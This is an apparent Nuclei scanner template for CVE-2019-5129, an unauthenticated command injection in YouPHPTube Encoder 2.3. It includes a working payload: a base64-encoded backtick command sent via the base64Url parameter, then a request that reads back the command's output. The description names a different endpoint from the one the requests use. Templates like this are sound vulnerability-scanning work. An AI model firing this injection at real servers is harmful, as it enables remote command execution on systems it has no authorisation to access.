id: CVE-2019-5129

info:
  name: YouPHPTube Encoder 2.3 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
  reference:
    - https://xz.aliyun.com/news/6312
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5129
    cwe-id: CWE-78
    epss-score: 0.8988
    epss-percentile: 0.99624
    cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: youphptube
    product: youphptube_encoder
    fofa-query: icon_hash="-276846707"
  tags: cve,cve2019,kev,youphptube,rce,encoder

variables:
  file_name: "{{rand_text_alpha(4)}}.txt"
  content: "id"
  payload: '{{base64(concat("`", content, " > ", file_name, "`"))}}'

http:
  - raw:
      - |
        GET /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

      - |
        GET /objects/{{file_name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body_2
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206cd1c074ded9e86d901d01fe853c6f9a2c5e36669c72c9982a97b6b1c6772e0d022100e0b3cef49f9d99129ddcc81b83b4f4e6b9990285cf9957a34f59e13f6282faa7:922c64590222798bb761d5b6d8e72950